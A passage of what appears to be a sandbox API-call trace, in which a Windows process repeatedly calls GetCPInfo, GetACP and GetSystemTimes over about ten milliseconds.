lpCPInfo=0x18fa7c) returned 1 [0054.740] GetACP () returned 0x4e4 [0054.740] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.741] GetACP () returned 0x4e4 [0054.741] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.741] GetACP () returned 0x4e4 [0054.741] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.741] GetACP () returned 0x4e4 [0054.741] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.741] GetACP () returned 0x4e4 [0054.741] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.741] GetACP () returned 0x4e4 [0054.741] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.741] GetACP () returned 0x4e4 [0054.741] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.741] GetACP () returned 0x4e4 [0054.741] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.741] GetACP () returned 0x4e4 [0054.741] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.741] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.741] GetACP () returned 0x4e4 [0054.741] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.742] GetACP () returned 0x4e4 [0054.742] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.742] GetACP () returned 0x4e4 [0054.742] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.742] GetACP () returned 0x4e4 [0054.742] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.742] GetACP () returned 0x4e4 [0054.742] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.742] GetACP () returned 0x4e4 [0054.742] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.742] GetACP () returned 0x4e4 [0054.742] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.742] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.742] GetACP () returned 0x4e4 [0054.742] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.743] GetACP () returned 0x4e4 [0054.743] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.743] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.744] GetACP () returned 0x4e4 [0054.744] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.744] GetACP () returned 0x4e4 [0054.744] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.744] GetACP () returned 0x4e4 [0054.744] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.744] GetACP () returned 0x4e4 [0054.744] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.744] GetACP () returned 0x4e4 [0054.744] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.744] GetACP () returned 0x4e4 [0054.744] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.744] GetACP () returned 0x4e4 [0054.744] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.744] GetACP () returned 0x4e4 [0054.744] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.744] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.744] GetACP () returned 0x4e4 [0054.744] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.745] GetACP () returned 0x4e4 [0054.745] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.745] GetACP () returned 0x4e4 [0054.745] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.745] GetACP () returned 0x4e4 [0054.745] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.745] GetACP () returned 0x4e4 [0054.745] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.745] GetACP () returned 0x4e4 [0054.745] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.745] GetACP () returned 0x4e4 [0054.745] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.745] GetACP () returned 0x4e4 [0054.745] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.745] GetACP () returned 0x4e4 [0054.745] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.745] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.745] GetACP () returned 0x4e4 [0054.745] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.746] GetACP () returned 0x4e4 [0054.746] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.746] GetACP () returned 0x4e4 [0054.746] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.746] GetACP () returned 0x4e4 [0054.746] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.746] GetACP () returned 0x4e4 [0054.746] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.746] GetACP () returned 0x4e4 [0054.746] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.746] GetACP () returned 0x4e4 [0054.746] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.746] GetACP () returned 0x4e4 [0054.746] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.746] GetACP () returned 0x4e4 [0054.746] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.746] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.747] GetACP () returned 0x4e4 [0054.747] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.747] GetACP () returned 0x4e4 [0054.747] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.747] GetACP () returned 0x4e4 [0054.747] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.747] GetACP () returned 0x4e4 [0054.747] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.747] GetACP () returned 0x4e4 [0054.747] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.747] GetACP () returned 0x4e4 [0054.747] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.747] GetACP () returned 0x4e4 [0054.747] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.747] GetACP () returned 0x4e4 [0054.747] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.747] GetACP () returned 0x4e4 [0054.747] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.747] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.748] GetACP () returned 0x4e4 [0054.748] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.748] GetACP () returned 0x4e4 [0054.748] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.748] GetACP () returned 0x4e4 [0054.748] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.748] GetACP () returned 0x4e4 [0054.748] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.748] GetACP () returned 0x4e4 [0054.748] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.748] GetACP () returned 0x4e4 [0054.748] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.748] GetACP () returned 0x4e4 [0054.748] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.748] GetACP () returned 0x4e4 [0054.748] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.748] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.748] GetACP () returned 0x4e4 [0054.748] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.749] GetACP () returned 0x4e4 [0054.749] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.749] GetACP () returned 0x4e4 [0054.749] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.749] GetACP () returned 0x4e4 [0054.749] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.749] GetACP () returned 0x4e4 [0054.749] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.749] GetACP () returned 0x4e4 [0054.749] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.749] GetACP () returned 0x4e4 [0054.749] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.749] GetACP () returned 0x4e4 [0054.749] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.749] GetACP () returned 0x4e4 [0054.749] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.749] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.749] GetACP () returned 0x4e4 [0054.749] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.750] GetACP () returned 0x4e4 [0054.750] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.750] GetACP () returned 0x4e4 [0054.750] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.750] GetACP () returned 0x4e4 [0054.750] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.750] GetACP () returned 0x4e4 [0054.750] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.750] GetACP () returned 0x4e4 [0054.750] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.750] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.750] 